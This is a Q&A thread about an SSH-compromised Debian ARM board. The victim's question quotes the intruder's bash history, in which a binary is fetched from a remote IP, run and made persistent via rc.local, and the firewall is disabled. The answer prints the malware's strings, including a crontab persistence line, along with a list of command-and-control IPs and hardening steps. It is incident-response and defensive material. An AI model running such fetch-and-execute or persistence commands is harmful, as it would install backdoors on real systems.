Did I just get hacked?

493

299

I am developing a consumer product, and it is supposed to be connected to the Internet, so as expected, it is connected to the Internet so that I can properly develop it.

I went away for an hour or two, and when I came back to my office I noticed some strange commands written in the terminal.

Looking at the Linux log file called auth.log I can see the following lines (amongst many more):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

The IP address 40.127.205.162 turns out to be owned by Microsoft.

Here are a bunch of commands that were used while I was away:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

And more:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

I was completely unaware of this. How can I secure my product properly?

I would like to post the complete auth.log file. How do I do that?

Also, the file yjz1 that was downloaded seems to be a Linux Trojan and all of this seems to be done by some kind of hacker group according to http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Should I call Microsoft and talk to them? What should I do?

vaid

Posted 2016-02-01T11:21:48.690

Reputation: 3 309

40Yeah that doesn't look too good. I'm not an expert in Linux by any means, but somethings definitely tried to execute on there. I'm not quite sure how though as it looks like it attempted to log in as root and failed. Are there any other logs in your auth.log? Any other means of remote admin? I've seen Mac's with VNC server enabled get hacked before via that, although this looks like an SSH attempt. Looks like the IPs it was downloading from are hosted in China somewhere. – Jonno – 2016-02-01T11:25:02.610

3The attack actually came from China. – David Schwartz – 2016-02-01T11:30:45.310

Yes but what is a Microsoft owned IP doing trying to breach a device across the internet? – vaid – 2016-02-01T11:37:58.037

69You got brute forced. This is why one does not leave a ssh server on the internet, even if you have a password. Anything short of key based auth is not secure enough these days. – Journeyman Geek – 2016-02-01T11:41:17.843

2You could be the victim of a secondary attack via a breached Microsoft system, depending on just how serious these hackers are. Possibly IP Spoofing too? But as the previous comment says, key based authentication only is advisable. – Sam3000 – 2016-02-01T11:41:59.857

2So where can I read more about security? – vaid – 2016-02-01T12:02:04.233

82

Well we have http://security.stackexchange.com/.

But first thing first: The compromised host can no longer be trusted. Take it off the network.

If possible make a backup so you can research what was done and how it was done. Next reinstall the OS from a clean source. Restore data from backups.

Secure the system so you do not get infected again. Finding out how they got in is highly recommended. (Hence the recommendation to make a copy of the infected system).

– Hennes – 2016-02-01T12:06:01.990

1Given the brute force attack consider password logins. If you keep those enabled then make sure there are no weak passwords. (As already mentioned, keybased is better. If you and possible other can switch to those: great. If not make sure nobody uses '1234' 'password' 'admin' or similar weak passwords. – Hennes – 2016-02-01T12:08:33.580

Ok thanks a lot. I will do that. Are any of you willing to look in to this with me? I might need someone to bounce this with. The system itself is basically a stripped down Debian version for ARMHF CPU's. Nothing extensively complex. – vaid – 2016-02-01T12:10:22.750

3I recommend setting up port knocking for all maintenance/development access in addition. This way, all your regular ports appear to be closed and people lose interest in your device pretty fast. Means less bandwidth gets wasted for attacks. At least if your service itself is reasonably secure. – Run CMD – 2016-02-01T12:46:50.580

1ossec-hids is another useful tool for security auditing. – Wayne Werner – 2016-02-01T17:40:25.373

1You should generally disable root ssh login in the sshd configuration file. You can always login to your normal account and use su/sudo to become the superuser. – Kevin Evans – 2016-02-01T20:28:09.520

84FYI: 40.127.205.162 is a Microsoft Azure IP address according to GeoIP. Consequently, you can't blame Microsoft for the attack - it's equivalent to blaming Amazon because someone used EC2 for spam. The only thing Microsoft can really do is kick the attackers off Azure, but they'll be back on a different cloud platform in no time. – nneonneo – 2016-02-01T20:33:24.270

Is it a raspberry pi? I'm guessing, since you're using the ARM version of Debian. If so, you can wipe the SD card & start over. And make sure you change the default username & password. – Kryten – 2016-02-01T21:54:36.110

2

@Vaid -- not an answer to your question -- but it's vaguely on-topic -- I highly recommend watching this session from Build 2015 to anyone building consumer-based products that connect to the internet: https://channel9.msdn.com/Events/Build/2015/2-625 -- You might shrug it off since it has Azure in the title, but the concepts covered are pretty high-level and translate well. :-)

– BrainSlugs83 – 2016-02-01T23:00:57.747

3It's odd that the hacker didn't attempt to hide his actions by editing the history. – user1751825 – 2016-02-02T00:08:10.447

6"I noticed some strange commands written in the terminal" - that's odd, usually every SSH connection will gets a separate terminal. – user253751 – 2016-02-02T00:22:37.610

@ClassStacker I'll look port knocking up. – vaid – 2016-02-02T02:48:06.830

@KevinEvans I'll disable root ssh as it isn't really needed in my application – vaid – 2016-02-02T02:48:19.130

@nneonneo I didn't know that, but I contacted Microsoft anyways, just to let them know – vaid – 2016-02-02T02:48:31.823

@Kryten No, it's an Olimex A10 Lime 4GB with NAND flash on board. – vaid – 2016-02-02T02:48:40.693

1@BrainSlugs83 that is very relevant to my current project. Thanks! – vaid – 2016-02-02T02:48:51.873

1@user1751825 yes I think so as well. I guess he/she never got far enough in the process to do so. – vaid – 2016-02-02T02:49:03.437

1@user20574 yes that is really odd. At first I thought that my Mac had been hacked. I guess I could see the commands because we were both logged in as root. – vaid – 2016-02-02T02:49:15.113

7"I noticed some strange commands written in the terminal": were those visible on your terminal or from the bash history? How did you first notice this stuff? I don't see how an ssh session could write to your particular terminal. – isanae – 2016-02-02T04:21:10.647

41In fact, if this was written in your terminal, the hacker is probably sitting in the next cubicle. – isanae – 2016-02-02T04:43:43.373

1Before you do anything that could compromise your logs, screenshot them and send the screenshot to your country's cybercrime agency. Assuming you're in the US, that agency is the FBI. They might not investigate, but you never know. In fact, if you should later get hacked, and they can link both incidents to the same hacker or group, that might provide some additional incentive to prosecute. – moonman239 – 2016-02-02T09:12:58.247

2@isanae It is simple to write on a terminal. It was not this example but is enough echo Ohhhii | sudo write $USER pts/9 to write on the terminal 9 (tty can give you the current tty, if you want to try). Programs that run as root do not need sudo. BTW there are many logs, especially the security ones, that can be written on all the terminals, or it could be a script not perfectly done (or executed) that redirects some output on a fixed tty... – Hastur – 2016-02-02T10:00:46.033

7Above all, do not leave your pc running unattended with an open root session! – MariusMatutiae – 2016-02-02T10:33:22.470

Byt the way you guys are talking about key based ssh auths are week? do you mean key in sensce of keyboard key based? or private/public key based? Since I'm doing the second and I'm now wondering, Since when this is considered unsecure?! – Zaibis – 2016-02-02T14:06:13.120

1Archive all the data on the compromised machine, wipe it, and rebuild the system with stronger security measures. Examine the archived data and look for any information that could be used to determine the source and nature of the attack. – bwDraco – 2016-02-02T18:04:42.303

@isanae I noticed the commands on my SSH terminal on the mac which was connected to my dev board (which got attacked) via SSH. So it was my dev board that got hacked, not my Mac, however, both me and the attacker were logged in to the dev board as root. So no matter where or who you are, once you're logged in as root you can see all of the root history. Right? – vaid – 2016-02-03T07:30:15.107

@moonman239 unfortunately I'm in Sweden, and the FBI equivalent is called SÄPO. I don't know if they'd be interested though, they probably know about this. But could I be wrong? – vaid – 2016-02-03T07:31:46.720

12@isanae well, then I guess my mom is the hacker. And the cubicle has to be our living room. I run my company from the comfort of my home so I don't think that the intruder had access to my computer physically. – vaid – 2016-02-03T08:10:46.820

You cannot trust this installation anymore. It must be completely reinstalled from scratch. – Thorbjørn Ravn Andersen – 2016-02-03T21:12:08.493

It's simply a proxy server that broadcasts it's status to other proxies in the botnet. – Flash Thunder – 2016-02-04T10:13:28.920

Your site is still hosting the malware at http://222.186.30.209:65534/yjz I'm not sure why you've not removed it yet? If you can't remove it, disconnect the server from the internet. – NickG – 2016-02-04T13:29:33.573

2@NickG Uh, 222.186.30.209:65534 isn't his site. That's where the attacker was hosting the scripts that he downloaded onto the OP's machine. – Ajedi32 – 2016-02-04T15:09:20.543

@Ajedi32 - sorry I misunderstood. – NickG – 2016-02-04T16:12:38.237

Thanks very much for the fascinating read. I found that the payloads are no longer available for download. Where can a poor student with minimal connections (yet!) find them for analysis? – Tim G – 2016-02-06T23:06:13.817

@TimG I have a copy right here on my computer along with the logs. I don't know where I can upload them and share them. If anyone has any ideas, let me know. – vaid – 2016-02-07T06:14:04.277

Dropbox, Google Drive, private email. I could see Dropbox or Google Drive killing it, so maybe it would go through if it were tar -czf'd. You could also host it on your box by setting a loosely passworded unprivileged account that ssh's to a chrooted folder; people could then scp it from you. – Tim G – 2016-02-07T08:48:20.780

1

@nneonneo: Also the official list of Microsoft Azure Datacenter IP Ranges shows the range containing the address 40.127.205.162: 40.127.192.0/18.

– pabouk – 2016-02-07T10:13:10.830

1

@TimG here's a link to the binary. it's zipped. https://drive.google.com/folderview?id=0BzXsxVbvw8tgRTdOczZVQjhoWmc&usp=sharing

– vaid – 2016-02-07T12:28:49.090

its like reading a creepypasta for developers, i know this is not related to a solution but meh grabs popcorn – Dheeraj – 2016-02-10T06:40:01.130

Can you please post this incident to http://cert.microsoft.com/report.aspx (note I don't work on the CERT team)..

– Shawn Cicoria – 2016-02-11T15:35:22.867

@ShawnCicoria-MSFT I already have. I even supplied the logs and the trojan all neatly zipped and marked. I have not received any response. – vaid – 2016-02-11T16:03:56.460

If you saw the commands on your screen, the hacker might have used a remote desktop program, or physically typed them on your keyboard. – Frank R. – 2017-05-22T00:53:34.093

Answers

489

EDIT 2:

there is one good reason why this post is attracting so much attention: you managed to record the whole, live session of an intruder on your PC. This is very different from our everyday experience, where we deal with the discovery of the consequences of his actions and try to redress them. Here we see him at work, see him having some problems with establishing the backdoor, retrace his steps, work feverishly (perhaps because he was sitting at your desk, as suggested above, or perhaps, and in my opinion more likely, because he was unable to make his malware run on the system, read below), and try to deploy fully self-contained instruments of control. This is what security researchers witness daily with their honey traps. For me, this is a very rare chance, and the source of some amusement.


You have definitely been hacked. The evidence for this does not come from the snippet of the auth.log file you displayed, because this reports an unsuccessful login attempt, occurring over a short time span (two secs). You will notice that the second line states Failed password, while the third one reports a pre-auth disconnect: the guy tried and failed.

The evidence comes instead from the content of the two files http://222.186.30.209:65534/yjz and http://222.186.30.209:65534/yjz1 which the attacker downloaded onto your system.

The site is currently open to anyone to download them, which I did. I first ran file on them, which showed:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Then I brought them onto a 64-bit Debian VM I have; an examination of their content thru the strings command revealed much that was suspicious (reference to various well-known attacks, to commands to be substituted for, a script that was clearly used to set up a new service, and so on).

I then produced the MD5-hashes of both files, and fed them to Cymru's hash database to see whether they are known agents of malware. While yjz is not, yjz1 is, and Cymru reports a probability of detection by anti-virus software of 58%. It also states that this file was last seen some three days ago, so it is reasonably recent.

Running clamscan (part of the clamav package) on the two files I obtained:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

so we are now certain that standard Linux software can identify it.

What should you do?

Though rather new, neither system is very new, see this Jan. 2015 article on XorDdos, for instance. So most free packages should be able to remove it. You should try: clamav, rkhunter, chkrootkit. I have Googled around, and seen that they claim to be able to spot it. Use them to check on the predecessor's work, but after running these three programs you should be ready to go.

As for the larger question, what should you do to prevent future infections, Journeyman's answer is a good first step. Just keep in mind that it is an ongoing struggle, one that all of us (including me!) may very well have lost without even knowing it.

EDIT:

At Viktor Toth's (indirect) prompt, I would like to add a few comments. It is certainly true that the intruder encountered some difficulties: he downloads two distinct hacking tools, changes their permissions several times, restarts them several times, and tries many times to disable the firewall. It is easy to guess what is happening: he expects his hacking tools to open a communication channel toward one of his infected pcs (see later), and, when he does not see this new channel spring up on his control GUI, fears his hacking tool is being blocked by the firewall, so he repeats the installation procedure. I agree with Viktor Toth that this particular stage of his operation does not seem to bring the expected fruits, but I would like to encourage you very strongly not to underestimate the extent of the damage inflicted on your pc.

I provide here a partial output of strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

This provides evidence of tampering with the services (in /etc/init.d and in /etc/rc.d), with crontab, with the history file of mysql, and a couple of files in proc which are links to bash (which suggests a custom-made fraudulent version of your shell has been planted). Then the program generates an HTTP request (to a Chinese-speaking site,

 Accept-Language: zh-cn

which gives substance to David Schwartz's comment above), which may create even more havoc. In the request, binaries (Content-Type: application/x-www-form-urlencoded) are to be downloaded to the attacked pc (GET) and uploaded to the controlling machine (POST). I could not establish what would be downloaded to the attacked pc, but, given the small size of both yjz and yjz1 (1.1MB and 600kB, repectively), I can venture to surmise that most of the files needed to cloak the rootkit, i.e. the altered versions of ls, netstat, ps, ifconfig,..., would be downloaded this way. And this would explain the attacker's feverish attempts to get this download going.

There is no certainty that the above exhausts all possibilities: we certainly lack part of the transcript (between lines 457 and 481) and we do not see a logout; furthermore, especially worrisome are lines 495-497,

cd /tmp;  ./yd_cd/make

which refer to a file we did not see downloaded, and which might be a compilation: if so, it means the attacker has (finally?) understood what the problem with his executables was, and is trying to fix it, in which case the attacked pc has gone for good. [In fact, the two versions of the malware which the attacker downloaded onto the hacked machine (and I onto my 64bit Debian VM) are for an unsuitable architecture, x86, while the name alone of the hacked-into pc gives away the fact that he was dealing with an arm architecture].

The reason why I wrote this edit is to urge you as strongly as possible either to comb your system with a professional instrument, or to re-install from scratch.

And, by the way, should this prove useful to anyone, this is the list of of the 331 IP addresses to which yjz tries to connect. This list is so large (and probably destined to become larger still) that I believe this is the reason for tampering with mysql. The list provided by the other backdoor is identical, which, I presume, is the reason for leaving such an important piece of information out in the open (I think the attacker did not wish to make the effort to store them in kernel format, so he put the whole list in a clear-text file, which is probably read-in by all of his backdoors, for whichever OS):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

The following code

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

on the above list shows that 302 out of a total 331 addresses are in mainland China, the remaining ones are in Hong Kong, Mongolia, Taiwan. This adds further support to David Schwartz's contention that this is mostly a Chinese bot ring.

EDIT 3

At @vaid's request (the author of the OP, read his comment below), I will add a comment about how to strengthen security of a basic Linux system (for a system providing many services, this is a far more complex topic). vaid states he did the following:

  1. Reinstall the system

  2. changed root password to a 16 character long password with mixed lower- and uppercase letters and characters and digits.

  3. Changed the username to a 6 mixed character long username and applied the same password as used for root

  4. changed SSH port to something above 5000

  5. turned off SSH root login.

This is fine (except I use a port above 10,000 since many useful programs use the ports below 10,000). But I cannot emphasize enough the need to use cryptographic keys for ssh login, instead of passwords. I will give you a personal example. On one of my VPSes, I was uncertain whether to change the ssh port; I left it at 22, but used crypto keys for authentication. I had hundreds of break-in attempts per day, none succeeded. When, tired to check daily that no one had succeeded, I eventually switched the port to something above 10,000, break-in attempts went to zero. Mind you, it is not that hackers are stupid (they are not!), they just hunt down easier prey.

It is easy to activate a crypto key with RSA as a signature algorithm, see comment below by Jan Hudec (thanks!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Now all you have to do is to copy the file id_rsa to the machine from which you want to connect (in a directory .ssh, also chmod'ed to 700), then issue the command

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

When you are sure that this works, edit on the server (=the machine you want to connect to) the file /etc/ssh/sshd_config, and change the line

#PasswordAuthentication yes

to

PasswordAuthentication no

and restart the ssh service (service ssh restart or systemctl restart ssh, or something like this, depending on distro).

This will withstand a lot. In fact, there are currently no known exploits against the current versions of openssh v2, and of RSA as employed by openssh v2.

Lastly, in order to really bolt down your machine, you will need to configure the firewall (netfilter/iptables) as follows:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

This, 1) allows ssh connections from both LAN and WAN, 2) allows all input which was originated by your requests (for instance, when you load a Web page), 3) drops everything else on the input, 4) allows everything on the output, and 5-6) allows everything on the loopback interface.

As your needs grow, and more ports need to be opened, you may do so by adding, at the top of the list, rules like:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

to allow for instance people to access your Web browser.

MariusMatutiae

Posted 2016-02-01T11:21:48.690

Reputation: 41 321

11This was great to read. I also tried the file yjz1 through Googles VirusTotal.com which gave a positive. I didn't even see that yjzhad been downloaded. Thanks. – vaid – 2016-02-01T16:28:01.290

I am reading about how to rename ROOT, I noticed that the hacker tries to do stuff in the path /root/, which I assume is /, so renaming ROOT could be a short term protection? – vaid – 2016-02-01T16:33:46.347

My previous webserver install got hit with xordos. I'd downloaded a copy for a backup to a windows box and my AV kept cleaning it out. I wonder if clamav would detect it. And yeah, I focused on generic steps since I really didn't want to poke at a random known bad file/ – Journeyman Geek – 2016-02-02T03:16:08.340

34

Be careful running strings on untrusted data. https://lcamtuf.blogspot.com/2014/10/psa-dont-run-strings-on-untrusted-files.html

– Matt Nordhoff – 2016-02-02T07:02:43.603

5@MattNordhoff Thanks for pointing this out, I was blissfully unaware of it. However, on my Debian the 'strings` command passes the test you linked with flying colors. I presume this is due to the fact that the manual states: -a ...Normally this is the default behaviour. Cheers. – MariusMatutiae – 2016-02-02T07:12:18.220

@JourneymanGeek Yes, clamav does detect it, pls read above. I did not mean anything negative about your post, I just wanted to say that your post complements what you can read in mine. – MariusMatutiae – 2016-02-02T07:54:59.040

32This answer shows an approach that should be a paradigm: 1. Do not let your attention be diverted by failed attempts, be alerted. 2. Individuate the successful actions of the attacker. 3. Study what and how the attacker did. 4. Install all from scratch or from the last uncorrupted (attacked) backup, adding the needed additional protections you found (point 3). 5. Help the others to protect themselves (the list of compromised / suspect IP). – Hastur – 2016-02-02T08:26:50.127

On the contrary, I'm not disagreeing. I'm just adding that I've gotten hit by this same bit of malware and feeling remarkably dumb. – Journeyman Geek – 2016-02-02T09:40:38.303

11[Redacted after comment by @MariusMatutiae] - Nevertheless, the OP should realize that on a compromised system, every executable must be considered malicious, even the shell, ls, who or anything else. "Rescuing data" by using any executable on the compromised system (e.g. scp or rsync) might compromise even more machines. – Dubu – 2016-02-02T13:24:25.770

@MariusMatutiae Well, I do not see a large potential gain for the script kiddie that did this (they would probably have moved on to the next host quite quickly), but I nevertheless removed that part of my comment. – Dubu – 2016-02-02T13:30:42.090

1@Dubu : And how many people put '.' at the beginning of their $path? So that even without root privilege, there are a lot of places I could drop a malicious file named 'ls' or … – WGroleau – 2016-02-02T14:41:52.010

If the attack failed, then I suppose you actually mean that he survived an attempted hack, and was not successfully hacked. – 287352 – 2016-02-02T19:04:01.830

1

@MattNordhoff, strings (i.e., binutils) was fixed for Fedora in October 2014. Ditto for Debian, Ubuntu. Presumably upstream got fixed too.

– vonbrand – 2016-02-03T02:05:17.737

1Great edits to the answer. Now, if you'd edit it once more to add some security measures, that'd be great for future readers. This is what I did: 1. Reinstall the system 2. changed root password to a 16 character long password with mixed lower- and uppercase letters and characters and digits. 3. Changed the username to a 6 mixed character long username and applied the same password as used for root 3. changed SSH port to something above 5000 4. turned off SSH root login. Additionally I could also install Fail2Ban. Add these steps your answer and I'll accept it. It will be useful to others. – vaid – 2016-02-03T08:17:52.773

1

